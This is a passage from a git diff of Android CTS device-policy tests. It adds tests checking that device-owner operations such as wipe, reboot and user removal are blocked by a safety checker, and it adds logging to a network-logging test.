+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REQUEST_BUGREPORT;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_HIDDEN;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_CAMERA_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_GLOBAL_PRIVATE_DNS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEEP_UNINSTALLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEYGUARD_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_FEATURES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOGOUT_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_OVERRIDE_APNS_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PACKAGES_SUSPENDED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_STATUS_BAR_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_SETTING;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_UPDATE_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_TRUST_AGENT_CONFIGURATION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_START_USER_IN_BACKGROUND;
+import static android.app.admin.DevicePolicyManager.OPERATION_STOP_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_SWITCH_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_UNINSTALL_CA_CERT;
+import static android.app.admin.DevicePolicyManager.OPERATION_WIPE_DATA;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.FactoryResetProtectionPolicy;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.os.UserHandle;
+
+import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
+import com.android.internal.util.ArrayUtils;
+
+import java.util.Arrays;
+import java.util.List;
+
+// TODO(b/174859111): move to automotive-only section
+/**
+ * Tests that DPM calls fail when determined by the
+ * {@link android.app.admin.DevicePolicySafetyChecker}.
+ */
+public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOwnerTest {
+    private static final int NO_FLAGS = 0;
+    private static final UserHandle USER_HANDLE = UserHandle.of(42);
+    public static final String TEST_PACKAGE = BasicAdminReceiver.class.getPackage().getName();
+    public static final ComponentName TEST_COMPONENT = new ComponentName(
+            TEST_PACKAGE, BasicAdminReceiver.class.getName());
+    public static final List<String> TEST_ACCOUNTS = Arrays.asList("Account 1");
+    public static final List<String> TEST_PACKAGES = Arrays.asList(TEST_PACKAGE);
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n"
+            + "MIICVzCCAgGgAwIBAgIJAMvnLHnnfO/IMA0GCSqGSIb3DQEBBQUAMIGGMQswCQYD\n"
+            + "VQQGEwJJTjELMAkGA1UECAwCQVAxDDAKBgNVBAcMA0hZRDEVMBMGA1UECgwMSU1G\n"
+            + "TCBQVlQgTFREMRAwDgYDVQQLDAdJTUZMIE9VMRIwEAYDVQQDDAlJTUZMLklORk8x\n"
+            + "HzAdBgkqhkiG9w0BCQEWEHJhbWVzaEBpbWZsLmluZm8wHhcNMTMwODI4MDk0NDA5\n"
+            + "WhcNMjMwODI2MDk0NDA5WjCBhjELMAkGA1UEBhMCSU4xCzAJBgNVBAgMAkFQMQww\n"
+            + "CgYDVQQHDANIWUQxFTATBgNVBAoMDElNRkwgUFZUIExURDEQMA4GA1UECwwHSU1G\n"
+            + "TCBPVTESMBAGA1UEAwwJSU1GTC5JTkZPMR8wHQYJKoZIhvcNAQkBFhByYW1lc2hA\n"
+            + "aW1mbC5pbmZvMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJ738cbTQlNIO7O6nV/f\n"
+            + "DJTMvWbPkyHYX8CQ7yXiAzEiZ5bzKJjDJmpRAkUrVinljKns2l6C4++l/5A7pFOO\n"
+            + "33kCAwEAAaNQME4wHQYDVR0OBBYEFOdbZP7LaMbgeZYPuds2CeSonmYxMB8GA1Ud\n"
+            + "IwQYMBaAFOdbZP7LaMbgeZYPuds2CeSonmYxMAwGA1UdEwQFMAMBAf8wDQYJKoZI\n"
+            + "hvcNAQEFBQADQQBdrk6J9koyylMtl/zRfiMAc2zgeC825fgP6421NTxs1rjLs1HG\n"
+            + "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n"
+            + "-----END CERTIFICATE-----";
+    private final DevicePolicySafetyCheckerIntegrationTester mTester =
+            new DevicePolicySafetyCheckerIntegrationTester() {
+
+        @Override
+        protected int[] getSafetyAwareOperations() {
+            int[] operations = new int [] {
+                    OPERATION_CREATE_AND_MANAGE_USER,
+                    // TODO(b/175245108) Add test for this operation; testing
+                    // dpm.installSystemUpdate will require upload a test system update file.
+                    // OPERATION_INSTALL_SYSTEM_UPDATE,
+                    OPERATION_REBOOT,
+                    OPERATION_REMOVE_USER,
+                    OPERATION_REQUEST_BUGREPORT,
+                    OPERATION_SET_APPLICATION_HIDDEN,
+                    OPERATION_SET_APPLICATION_RESTRICTIONS,
+                    OPERATION_SET_CAMERA_DISABLED,
+                    OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
+                    OPERATION_SET_GLOBAL_PRIVATE_DNS,
+                    OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
+                    OPERATION_SET_KEYGUARD_DISABLED,
+                    OPERATION_SET_LOCK_TASK_FEATURES,
+                    OPERATION_SET_LOCK_TASK_PACKAGES,
+                    OPERATION_SET_LOGOUT_ENABLED,
+                    OPERATION_SET_PACKAGES_SUSPENDED,
+                    OPERATION_SET_STATUS_BAR_DISABLED,
+                    OPERATION_SET_SYSTEM_SETTING,
+                    OPERATION_SET_SYSTEM_UPDATE_POLICY,
+                    OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES,
+                    OPERATION_START_USER_IN_BACKGROUND,
+                    OPERATION_STOP_USER,
+                    OPERATION_SWITCH_USER,
+                    OPERATION_UNINSTALL_CA_CERT,
+                    OPERATION_WIPE_DATA
+            };
+
+            if (mHasTelephonyFeature) {
+                operations = ArrayUtils.appendInt(operations, OPERATION_SET_OVERRIDE_APNS_ENABLED);
+            }
+            if (mHasSecureLockScreen) {
+                operations = ArrayUtils.appendInt(operations,
+                        OPERATION_SET_TRUST_AGENT_CONFIGURATION);
+            }
+
+            return operations;
+        }
+
+        @Override
+        protected int[] getOverloadedSafetyAwareOperations() {
+            return new int [] {
+                OPERATION_WIPE_DATA
+            };
+        }
+
+        @Override
+        protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
+                boolean overloaded) {
+            switch (operation) {
+                case OPERATION_CREATE_AND_MANAGE_USER:
+                    dpm.createAndManageUser(admin, /* name= */ null, admin, /* adminExtras= */ null,
+                            NO_FLAGS);
+                    break;
+                case OPERATION_REBOOT:
+                    dpm.reboot(admin);
+                    break;
+                case OPERATION_REMOVE_USER:
+                    dpm.removeUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_REQUEST_BUGREPORT:
+                    dpm.requestBugreport(admin);
+                    break;
+                case OPERATION_SET_APPLICATION_HIDDEN:
+                    dpm.setApplicationHidden(admin, TEST_PACKAGE, /* hidden= */true);
+                    break;
+                case OPERATION_SET_APPLICATION_RESTRICTIONS:
+                    dpm.setApplicationRestrictions(admin, TEST_PACKAGE, new Bundle());
+                    break;
+                case OPERATION_SET_CAMERA_DISABLED:
+                    dpm.setCameraDisabled(admin, /* disabled= */ true);
+                    break;
+                case OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY:
+                    dpm.setFactoryResetProtectionPolicy(admin,
+                            new FactoryResetProtectionPolicy.Builder()
+                                    .setFactoryResetProtectionAccounts(TEST_ACCOUNTS)
+                                    .setFactoryResetProtectionEnabled(false)
+                                    .build());
+                    break;
+                case OPERATION_SET_GLOBAL_PRIVATE_DNS:
+                    dpm.setGlobalPrivateDnsModeOpportunistic(admin);
+                    break;
+                case OPERATION_SET_KEEP_UNINSTALLED_PACKAGES:
+                    dpm.setKeepUninstalledPackages(admin, TEST_PACKAGES);
+                    break;
+                case OPERATION_SET_KEYGUARD_DISABLED:
+                    dpm.setKeyguardDisabled(admin, true);
+                    break;
+                case OPERATION_SET_LOCK_TASK_FEATURES:
+                    dpm.setLockTaskFeatures(admin, NO_FLAGS);
+                    break;
+                case OPERATION_SET_LOCK_TASK_PACKAGES:
+                    dpm.setLockTaskPackages(admin, new String[] { TEST_PACKAGE });
+                    break;
+                case OPERATION_SET_LOGOUT_ENABLED:
+                    dpm.setLogoutEnabled(admin, /* enabled */ true);
+                    break;
+                case OPERATION_SET_OVERRIDE_APNS_ENABLED:
+                    dpm.setOverrideApnsEnabled(admin, /* enabled */ true);
+                    break;
+                case OPERATION_SET_PACKAGES_SUSPENDED:
+                    dpm.setPackagesSuspended(admin,  new String[] { TEST_PACKAGE },
+                            /* suspend= */ true);
+                    break;
+                case OPERATION_SET_STATUS_BAR_DISABLED:
+                    dpm.setStatusBarDisabled(admin, true);
+                    break;
+                case OPERATION_SET_SYSTEM_SETTING:
+                    dpm.setSystemSetting(admin, "TestSetting", "0");
+                    break;
+                case OPERATION_SET_SYSTEM_UPDATE_POLICY:
+                    dpm.setSystemUpdatePolicy(admin, null);
+                    break;
+                case OPERATION_SET_TRUST_AGENT_CONFIGURATION:
+                    dpm.setTrustAgentConfiguration(admin, TEST_COMPONENT,
+                            /* configuration= */ null);
+                    break;
+                case OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES:
+                    dpm.setUserControlDisabledPackages(admin, TEST_PACKAGES);
+                    break;
+                case OPERATION_START_USER_IN_BACKGROUND:
+                    dpm.startUserInBackground(admin, USER_HANDLE);
+                    break;
+                case OPERATION_STOP_USER:
+                    dpm.stopUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_SWITCH_USER:
+                    dpm.switchUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_UNINSTALL_CA_CERT:
+                    dpm.uninstallCaCert(admin, TEST_CA.getBytes());
+                    break;
+                case OPERATION_WIPE_DATA:
+                    if (overloaded) {
+                        dpm.wipeData(NO_FLAGS,
+                                /* reason= */ "DevicePolicySafetyCheckerIntegrationTest");
+                    } else {
+                        dpm.wipeData(NO_FLAGS);
+                    }
+                    break;
+                default:
+                    throwUnsupportedOperationException(operation, overloaded);
+            }
+        }
+    };
+
+    /**
+     * Tests that all safety-aware operations are properly implemented.
+     */
+    public void testAllOperations() {
+        mTester.testAllOperations(mDevicePolicyManager, getWho());
+    }
+
+    /**
+     * Tests {@link DevicePolicyManager#isSafeOperation(int)}.
+     */
+    public void testIsSafeOperation() {
+        mTester.testIsSafeOperation(mDevicePolicyManager);
+    }
+
+    /**
+     * Tests {@link android.app.admin.UnsafeStateException} properties.
+     */
+    public void testUnsafeStateException() {
+        mTester.testUnsafeStateException(mDevicePolicyManager, getWho());
+    }
+
+    /**
+     * Tests {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged()}.
+     */
+    public void testOnOperationSafetyStateChanged() {
+        mTester.testOnOperationSafetyStateChanged(mContext, mDevicePolicyManager);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java
new file mode 100644
index 0000000..f723885
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.UserInfo;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.Log;
+
+//TODO(b/174859111): move to automotive specific module
+/**
+ * Device owner tests specific for devices that use
+ * {@link android.os.UserManager#isHeadlessSystemUserMode()}.
+ */
+public final class HeadlessSystemUserTest extends BaseDeviceOwnerTest {
+
+    private static final String TAG = HeadlessSystemUserTest.class.getSimpleName();
+
+    // To be used in cases where it needs to test the DPM of the current user (as
+    // mDevicePolicyManager wraps calls to user 0's DeviceOwner DPM);
+    private DevicePolicyManager mCurrentUserDpm;
+
+    private UserManager mUserManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mCurrentUserDpm = mContext.getSystemService(DevicePolicyManager.class);
+        mUserManager = mContext.getSystemService(UserManager.class);
+
+        Log.d(TAG, "setUp(): userId=" + mUserId);
+
+    }
+
+    public void testProfileOwnerIsSetOnCurrentUser() {
+        ComponentName admin = mCurrentUserDpm.getProfileOwner();
+
+        assertProfileOwner(admin, mUserId);
+    }
+
+    public void testProfileOwnerIsSetOnNewUser() throws Exception {
+        UserInfo user = null;
+        try {
+            user = callWithShellPermissionIdentity(() -> mUserManager
+                    .createUser("testProfileOwnerIsSetOnNewUser", /* flags= */ 0));
+            assertWithMessage("new user").that(user).isNotNull();
+            Log.d(TAG, "Created user " + user.toFullString());
+            final int userId = user.id;
+
+            // Must try a couple times as PO is asynchronously set after user is created.
+            // TODO(b/178102911): use a callback instead
+            Context newUserContext = mContext.createContextAsUser(UserHandle.of(userId),
+                    /* flags=*/ 0);
+            DevicePolicyManager newUserDpm = newUserContext
+                    .getSystemService(DevicePolicyManager.class);
+            eventually(() -> assertProfileOwner(newUserDpm.getProfileOwner(), userId));
+
+        } finally {
+            if (user != null) {
+                final int userId = user.id;
+                Log.d(TAG, "Removing user " + userId);
+                boolean removed = callWithShellPermissionIdentity(
+                        () -> mUserManager.removeUser(userId));
+                assertWithMessage("user %s removed", userId).that(removed).isTrue();
+            }
+        }
+    }
+
+    private void assertProfileOwner(ComponentName admin, @UserIdInt int userId) {
+        assertWithMessage("Component %s is profile owner for user %s", admin, userId)
+                .that(admin).isEqualTo(getWho());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java
new file mode 100644
index 0000000..65d2261
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.ActivityManager;
+import android.os.UserHandle;
+
+import java.util.List;
+
+public final class ListForegroundAffiliatedUsersTest extends BaseDeviceOwnerTest {
+
+    public void testListForegroundAffiliatedUsers_onlyForegroundUser() throws Exception {
+        List<UserHandle> users = mDevicePolicyManager.listForegroundAffiliatedUsers();
+
+        assertWithMessage("foreground users").that(users).hasSize(1);
+        UserHandle currentUser = users.get(0);
+        assertWithMessage("current foreground user").that(currentUser).isNotNull();
+        assertWithMessage("current foreground user id").that(currentUser.getIdentifier())
+                .isEqualTo(ActivityManager.getCurrentUser());
+    }
+
+    public void testListForegroundAffiliatedUsers_empty() throws Exception {
+        List<UserHandle> users = mDevicePolicyManager.listForegroundAffiliatedUsers();
+        assertWithMessage("foreground users").that(users).isEmpty();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index 0224ba8..8bfd25d 100755
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -15,19 +15,24 @@
  */
 package com.android.cts.deviceowner;
 
+import static com.android.bedstead.dpmwrapper.TestAppHelper.registerTestCaseReceiver;
+import static com.android.bedstead.dpmwrapper.TestAppHelper.unregisterTestCaseReceiver;
+
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.admin.ConnectEvent;
 import android.app.admin.DnsEvent;
 import android.app.admin.NetworkEvent;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Parcel;
+import android.os.SystemClock;
 import android.util.Log;
 
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import androidx.test.InstrumentationRegistry;
 
 import java.io.BufferedReader;
@@ -50,12 +55,21 @@
 public class NetworkLoggingTest extends BaseDeviceOwnerTest {
 
     private static final String TAG = "NetworkLoggingTest";
+    private static final boolean VERBOSE = false;
+
     private static final String ARG_BATCH_COUNT = "batchCount";
     private static final int FAKE_BATCH_TOKEN = -666; // real batch tokens are always non-negative
     private static final int FULL_LOG_BATCH_SIZE = 1200;
     private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.deviceowner";
     private static final int MAX_IP_ADDRESSES_LOGGED = 10;
 
+    private static final int CONNECTION_TIMEOUT_MS = 2_000;
+
+    private static final int TIMEOUT_PER_BATCH_MS = 3 * 60_000; // 3 minutes
+
+    /** How often events should be logged, when {@link #VERBOSE} is {@code false}. */
+    private static final int LOGGING_FREQUENCY = FULL_LOG_BATCH_SIZE / 4;
+
     private static final String[] NOT_LOGGED_URLS_LIST = {
             "wikipedia.org",
             "google.pl"
@@ -79,22 +93,31 @@
 
         @Override
         public void onReceive(Context context, Intent intent) {
-            if (BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE.equals(intent.getAction())) {
-                final long token =
-                        intent.getLongExtra(BasicAdminReceiver.EXTRA_NETWORK_LOGS_BATCH_TOKEN,
-                                FAKE_BATCH_TOKEN);
-                // Retrieve network logs.
-                final List<NetworkEvent> events = mDevicePolicyManager.retrieveNetworkLogs(getWho(),
-                        token);
-                if (events == null) {
-                    fail("Failed to retrieve batch of network logs with batch token " + token);
-                    return;
-                }
-                if (mBatchCountDown.getCount() > 0) {
-                    mNetworkEvents.addAll(events);
-                }
-                mBatchCountDown.countDown();
+            if (!BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE.equals(intent.getAction())) {
+                Log.w(TAG, "Received unexpected intent: " + intent);
+                return;
             }
+            final long token =
+                    intent.getLongExtra(BasicAdminReceiver.EXTRA_NETWORK_LOGS_BATCH_TOKEN,
+                            FAKE_BATCH_TOKEN);
+            final long latchCount = mBatchCountDown.getCount();
+            Log.d(TAG, "Received " + intent + ": token=" + token + ", latch= " + latchCount);
+            // Retrieve network logs.
+            final List<NetworkEvent> events = mDevicePolicyManager.retrieveNetworkLogs(getWho(),
+                    token);
+            Log.d(TAG, "Number of events: " + events.size());
+            if (VERBOSE) Log.v(TAG, "Events: " + events);
+            if (events == null) {
+                fail("Failed to retrieve batch of network logs with batch token " + token);
+                return;
+            }
+            if (latchCount > 0) {
+                mNetworkEvents.addAll(events);
+            } else {
+                Log.e(TAG, "didn't receive any event");
+            }
+            Log.d(TAG, "Counting down latch");
+            mBatchCountDown.countDown();
         }
     };
 
@@ -104,8 +127,9 @@
 
     @Override
     protected void tearDown() throws Exception {
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), false);
-        assertFalse(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        // NOTE: if this was a "pure" device-side test, it should not throw an exception on
+        // tearDown()
+        setNetworkLoggingEnabled(false);
 
         super.tearDown();
     }
@@ -115,8 +139,8 @@
      * secondary users / profiles are affiliated.
      */
     public void testRetrievingNetworkLogsThrowsSecurityException() {
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
-        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        setNetworkLoggingEnabled(true);
+
         try {
             mDevicePolicyManager.retrieveNetworkLogs(getWho(), FAKE_BATCH_TOKEN);
             fail("did not throw expected SecurityException");
@@ -129,8 +153,8 @@
      * be returned.
      */
     public void testProvidingWrongBatchTokenReturnsNull() {
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
-        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        setNetworkLoggingEnabled(true);
+
         assertNull(mDevicePolicyManager.retrieveNetworkLogs(getWho(), FAKE_BATCH_TOKEN));
     }
 
@@ -143,21 +167,21 @@
         mBatchesRequested =
                 Integer.parseInt(
                         InstrumentationRegistry.getArguments().getString(ARG_BATCH_COUNT, "1"));
+        Log.d(TAG, "batches requested:" + mBatchesRequested);
         mBatchCountDown = new CountDownLatch(mBatchesRequested);
         // register a receiver that listens for DeviceAdminReceiver#onNetworkLogsAvailable()
         final IntentFilter filterNetworkLogsAvailable = new IntentFilter(
                 BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE);
-        LocalBroadcastManager.getInstance(mContext).registerReceiver(mNetworkLogsReceiver,
-                filterNetworkLogsAvailable);
+
+        registerTestCaseReceiver(mContext, mNetworkLogsReceiver, filterNetworkLogsAvailable);
 
         // visit websites that shouldn't be logged as network logging isn't enabled yet
-        for (final String url : NOT_LOGGED_URLS_LIST) {
-            connectToWebsite(url);
+        for (int i = 0; i < NOT_LOGGED_URLS_LIST.length; i++) {
+            connectToWebsite(NOT_LOGGED_URLS_LIST[i], shouldLog(i));
         }
 
         // enable network logging and start the logging scenario
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
-        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        setNetworkLoggingEnabled(true);
 
         // TODO: here test that facts about logging are shown in the UI
 
@@ -165,10 +189,14 @@
         generateBatches();
     }
 
+    private boolean shouldLog(int sample) {
+        return sample % LOGGING_FREQUENCY == 0;
+    }
+
     private void generateBatches() throws Exception {
         // visit websites to verify their dns lookups are logged
-        for (final String url : LOGGED_URLS_LIST) {
-            connectToWebsite(url);
+        for (int i = 0; i < LOGGED_URLS_LIST.length; i++) {
+            connectToWebsite(LOGGED_URLS_LIST[i], shouldLog(i));
         }
 
         // generate enough traffic to fill the batches.
@@ -179,17 +207,23 @@
 
         // if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
         // 3 minutes per batch just in case
-        final int timeoutMins = 3 * mBatchesRequested;
-        mBatchCountDown.await(timeoutMins, TimeUnit.MINUTES);
-        LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mNetworkLogsReceiver);
+        final int timeoutMs = TIMEOUT_PER_BATCH_MS * mBatchesRequested;
+        Log.d(TAG, "Waiting up to " + timeoutMs + "ms for " + mBatchesRequested + " batches");
+        if (!mBatchCountDown.await(timeoutMs, TimeUnit.MILLISECONDS)) {
+            Log.e(TAG, "Timed out!");
+        }
+
+        unregisterTestCaseReceiver(mContext, mNetworkLogsReceiver);
+
         if (mBatchCountDown.getCount() > 0) {
             fail("Generated events for " + mBatchesRequested + " batches and waited for "
-                    + timeoutMins + " minutes, but still didn't get"
+                    + timeoutMs + " ms, but still didn't get"
                     + " DeviceAdminReceiver#onNetworkLogsAvailable() callback");
         }
 
         // Verify network logs.
-        assertEquals("First event has the wrong id.", 0L, mNetworkEvents.get(0).getId());
+        assertWithMessage("network events").that(mNetworkEvents).isNotEmpty();
+        assertWithMessage("first event id").that(mNetworkEvents.get(0).getId()).isEqualTo(0L);
         // For each of the real URLs we have two events: one DNS and one connect. Fake requests
         // don't require DNS queries.
         final int eventsExpected =
@@ -273,6 +307,8 @@
     }
 
     private void verifyNetworkLogs(List<NetworkEvent> networkEvents, int eventsExpected) {
+        Log.d(TAG, "verifyNetworkLogs(): expected " + eventsExpected + ", got "
+                + ((networkEvents == null) ? "null" : String.valueOf(networkEvents.size())));
         // allow a batch to be slightly smaller or larger.
         assertTrue(Math.abs(eventsExpected - networkEvents.size()) <= 150);
         int ctsPackageNameCounter = 0;
@@ -322,14 +358,21 @@
         assertTrue(ctsPackageNameCounter >= eventsExpectedWithMargin);
     }
 
-    private void connectToWebsite(String server) {
+    private void connectToWebsite(String server, boolean shouldLog) {
         HttpURLConnection urlConnection = null;
         try {
             final URL url = new URL("http://" + server);
+            if (shouldLog || VERBOSE) {
+                Log.d(TAG, "Connecting to " + server + " with " + CONNECTION_TIMEOUT_MS
+                        + "ms timeout");
+            }
             urlConnection = (HttpURLConnection) url.openConnection();
-            urlConnection.setConnectTimeout(2000);
-            urlConnection.setReadTimeout(2000);
-            urlConnection.getResponseCode();
+            urlConnection.setConnectTimeout(CONNECTION_TIMEOUT_MS);
+            urlConnection.setReadTimeout(CONNECTION_TIMEOUT_MS);
+            final int responseCode = urlConnection.getResponseCode();
+            if (shouldLog || VERBOSE) {
+                Log.d(TAG, "Got response code: " + responseCode);
+            }
         } catch (IOException e) {
             Log.w(TAG, "Failed to connect to " + server, e);
         } finally {
@@ -355,15 +398,13 @@
     private int makeFakeRequests(int port) {
         int reqNo;
         final String FAKE_SERVER = "127.0.0.1:" + port;
+        Log.d(TAG, "Making a fake request to " + FAKE_SERVER);
         for (reqNo = 0; reqNo < FULL_LOG_BATCH_SIZE && mBatchCountDown.getCount() > 0; reqNo++) {
-            connectToWebsite(FAKE_SERVER);
-            try {
-                // Just to prevent choking the server.
-                Thread.sleep(10);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
+            connectToWebsite(FAKE_SERVER, shouldLog(reqNo));
+            // Just to prevent choking the server.
+            sleep(10);
         }
+        Log.d(TAG, "Returning reqNo=" + reqNo);
         return reqNo;
     }
 
@@ -392,11 +433,13 @@
                     }
                 }
             }
-        });
+            Log.i(TAG, "Fake server closed");
+        }, "FakeServerThread");
+        Log.i(TAG, "starting a fake server (" + serverSocket + ") on thread " + serverThread);
         serverThread.start();
 
         // Allow the server to start accepting.
-        Thread.sleep(1_000);
+        sleep(1_000);
 
         return serverThread;
     }
@@ -404,4 +447,20 @@
     private boolean isIpv4OrIpv6Address(InetAddress addr) {
         return ((addr instanceof Inet4Address) || (addr instanceof Inet6Address));
     }
+
+    private void sleep(int timeMs) {
+        if (VERBOSE) Log.v(TAG, "Sleeping for " + timeMs + "ms");
+        SystemClock.sleep(timeMs);
+        if (VERBOSE) Log.v(TAG, "Woke up");
+    }
+
+    private void setNetworkLoggingEnabled(boolean enabled) {
+        ComponentName admin = getWho();
+        Log.d(TAG, "Calling setNetworkLoggingEnabled(" + enabled + ") for " + admin);
+        mDevicePolicyManager.setNetworkLoggingEnabled(admin, enabled);
+        boolean reallyEnabled = mDevicePolicyManager.isNetworkLoggingEnabled(admin);
+        Log.d(TAG, "getNetworkLoggingEnabled() result:" + reallyEnabled);
+        assertWithMessage("network logging enabled for %s", admin).that(reallyEnabled)
+                .isEqualTo(enabled);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
index 5280e06..bf85af0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
@@ -126,7 +126,7 @@
                 mContext,
                 REQUEST_CODE,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
index 30d2e55..450b996 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
@@ -15,9 +15,12 @@
  */
 package com.android.cts.deviceowner;
 
